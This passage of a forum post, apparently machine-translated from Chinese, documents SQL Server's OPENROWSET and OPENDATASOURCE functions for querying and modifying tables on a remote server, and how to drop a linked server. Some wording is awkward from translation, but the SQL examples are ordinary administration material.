Address; Trusted_Connection=yes','SELECT * FROM database name. Architecture name. table name')
/*
For example: SELECT * FROM OPENROWSET
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=yes',Mydb.dbo.tb)
Or: SELECT * FROM OPENROWSET
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=yes',Mydb.dbo.tb)
Or: SELECT * FROM OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=yes','SELECT *
FROM Mydb.dbo.tb')
Or: SELECT * FROM OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=yes','SELECT *
FROM Mydb.dbo.tb')
*/
--3.2.1.2 SQL Authentication Method Query (One of the following methods is sufficient)
SELECT * FROM OPENROWSET
('SQLOLEDB', 'server=sql server name or IP address; uid=username; pwd=password', database name. Architecture name. Table name)
SELECT * FROM
OPENROWSET('SQLNCLI', 'server=sql server name or IP address; uid=username; pwd=password', database name. Architecture name. Table name)
SELECT * FROM OPENROWSET('SQLOLEDB', 'server=sql server name or IP address; uid=username; pwd=password','SELECT *
FROM database name. Architecture name. table name')
SELECT * FROM OPENROWSET('SQLNCLI', 'server=sql server name or IP address; uid=
Username; pwd=password','SELECT * FROM database name. Architecture name. table name')
SELECT * FROM OPENROWSET('SQLOLEDB', 'sql
server name'; 'username'; 'password', database name. Architecture name. Table name)
SELECT * FROM OPENROWSET('SQLNCLI', 'SQL SERVER NAME
'; 'username'; 'password', database name. Architecture name. Table name)
SELECT * FROM OPENROWSET('SQLOLEDB', 'SQL SERVER NAME'; ' user
name'; 'Password', 'SELECT * FROM database name. Architecture name. table name')
SELECT * FROM OPENROWSET('SQLNCLI', 'sql server
name'; 'username'; 'Password', 'SELECT * FROM database name. Architecture name. table name')
/* 例如：SELECT * FROM OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Or: SELECT * FROM OPENROWSET
('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Or: SELECT * FROM OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM Mydb.dbo.tb')
or: SELECT * FROM OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM
Mydb.dbo.tb')
or: SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123',mydb.dbo.tb)
or: SELECT * FROM OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123',mydb.dbo.tb)
or: SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123','SELECT * FROM Mydb.dbo.tb')
or: SELECT * FROM OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123','SELECT * FROM Mydb.dbo.tb')
*/
--3.2.2 Import example
--3.2.2.1 Import all columns
INSERT OPENROWSET('SQLOLEDB', 'server=sql server name or IP address
Address; uid=username; pwd=password', database name. Architecture name. Table name)
SELECT * FROM local table
/* 例如：INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
SELECT * FROM tb
*/
--3.2.2.2 Import
Specify columns
INSERT OPENROWSET('SQLOLEDB', 'server=sql server name or IP address; uid=username; pwd=password', database name. rack
Construct name. table name) (column, column...)
SELECT column, column... FROM local table
/* 例如：INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)(RANGE,LEVEL,Persons)
SELECT
RANGE,LEVEL,Persons FROM tb
*/
--Note: For more alternative methods, refer to the .2.1 query example, just replace the OPENROWSET function
The content is sufficient.
--3.2.3 Update example
UPDATE OPENROWSET('SQLOLEDB', 'server=sql server name or IP address; uid=username
;p wd=password', database name. Architecture name. Table name)
SET field = 'value'
WHERE field = 'condition'
/*例如：UPDATE OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
SET Persons='g'
WHERE Persons='a'
*/
--Note: For more alternative methods, refer to the .2.1 query example, just replace the content in the OPENROWSET.
--3.2.4 Delete the indication
Example
DELETE OPENROWSET('SQLOLEDB', 'server=sql server name or IP address; uid=username; pwd=password', database name. Schema name
.table name)
WHERE field name='condition'
/*
For example: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
WHERE
Persons='g'
*/
--Note:
For more alternative methods, see the .2.1 query example, just replace the content in the OPENROWSET.
--3.3 OPENDATASOURCE method
(You don't need to use the created link name.) If the instance name of the connection is not the default, you need to add \instance name after sql server name or IP address
")
--3.3.1
Query example
--3.3.1.1 Windows Authentication Method Query (One of the following methods is sufficient)
SELECT * FROM OPENDATASOURCE('SQLOLEDB',
'server=sql server name or IP address; Trusted_Connection=yes'). Database name. Architecture name. Table name
SELECT * FROM
OPENDATASOURCE('SQLNCLI', 'server=sql server name or IP address; Trusted_Connection=yes'). Database name. Architecture name.
Table name
/*
For example: SELECT * FROM OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=yes'). Mydb.dbo.tb
Or: SELECT * FROM OPENDATASOURCE
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=yes'). Mydb.dbo.tb
*/
--3.3.1.2
SQL authentication method query (one of the following methods is sufficient)
SELECT * FROM OPENDATASOURCE('SQLOLEDB', 'server=sql server name or
IP address; uid=username; pwd=password').
Database name. Architecture name. Table name
SELECT * FROM OPENDATASOURCE('SQLNCLI', 'server=sql server name or IP address; uid=user
Name; pwd=password').
Database name. Architecture name. Table name
SELECT * FROM OPENDATASOURCE('SQLOLEDB', 'Data Source=sql server name or IP address
Address; uid=username; pwd=password').
Database name. Architecture name. Table name
SELECT * FROM OPENDATASOURCE('SQLNCLI', 'Data Source=sql server name or IP address
Address; uid=username; pwd=password').
Database name. Architecture name. Table name
/* 例如：SELECT * FROM OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Or: SELECT * FROM OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Or: SELECT * FROM OPENDATASOURCE('SQLOLEDB','Data
Source=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Or: SELECT * FROM OPENDATASOURCE('SQLNCLI','Data
source=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
*/
Import all columns
INSERT OPENDATASOURCE('SQLOLEDB', 'server=sql server name or IP address; uid=username; pwd=password').
According to the name of the library. Architecture name. Table name
SELECT * FROM local table
/*
For example: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
SELECT
* FROM tb
*/
--3.3.2.2
Import the specified columns
INSERT OPENDATASOURCE('SQLOLEDB', 'server=sql server name or IP address; uid=username; pwd=password').
According to the name of the library. Architecture name. Table name (column, column...)
SELECT column, column... FROM local table
/*
For example: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
(RANGE,LEVEL,Persons)
SELECT RANGE,LEVEL,Persons FROM tb
*/
--Note:
For more alternative methods, see the .3.1 query example, just replace the content in the line set function (OPENDATASOURCE).
--3.3.3 Update example
UPDATE OPENDATASOURCE('SQLOLEDB', 'server=sql server name or IP address; uid=username; pwd=password').
Database name. Architecture name. Table name
SET field = 'value'
WHERE field = 'condition'
/*例如：UPDATE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
SET Persons='g'
WHERE Persons='a'
*/
--Note:
For more alternative methods, see the .3.1 query example, just replace the content in the line set function (OPENDATASOURCE).
--3.3.4 Delete example
DELETE OPENDATASOURCE('SQLOLEDB', 'server=sql server name or IP address; uid=username; pwd=password').
Database name. Architecture name. Table name
WHERE field name='condition'
/*例如：DELETE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
WHERE Persons='g'
*/
- Note: More alternatives
Refer to the .3.1 query example, just replace the content in the rowset function (OPENDATASOURCE).
--
Delete the linked server method
--If you no longer use the link information in the future, you can delete the link information
--4.1
Delete login information (or delete linked server login name map)
EXEC sp_droplinkedsrvlogin 'LinkName',NULL
/*
For example: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */
--4.2
Delete the linked server name
EXEC sp_dropserver 'LinkName','droplogins' -- if droplogins are specified,
The login map must be deleted before deleting the linked server
/*例如：EXEC sp_dropserver 'TonyLink','droplogins' */
--Attached
：
How to get the Provider Name (EXEC master.). xp_enum_oledb_providers)
SELECT CAST([Provider Name] AS
VARCHAR(30)) ProviderName,
CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion
FROM
OPENROWSET(
'SQLOLEDB',
'Server=.; Trusted_Connection=yes',
'SET FMTONLY OFF;
EXEC
master.. xp_enum_oledb_providers'
)
|
Posted on 9/28/2015 6:21:41 PM
|
|
|
Posted on 9/27/2017 5:43:11 PM
|
Landlord|
Posted on 6/17/2023 11:12:11 AM
|
Very detailed Thanks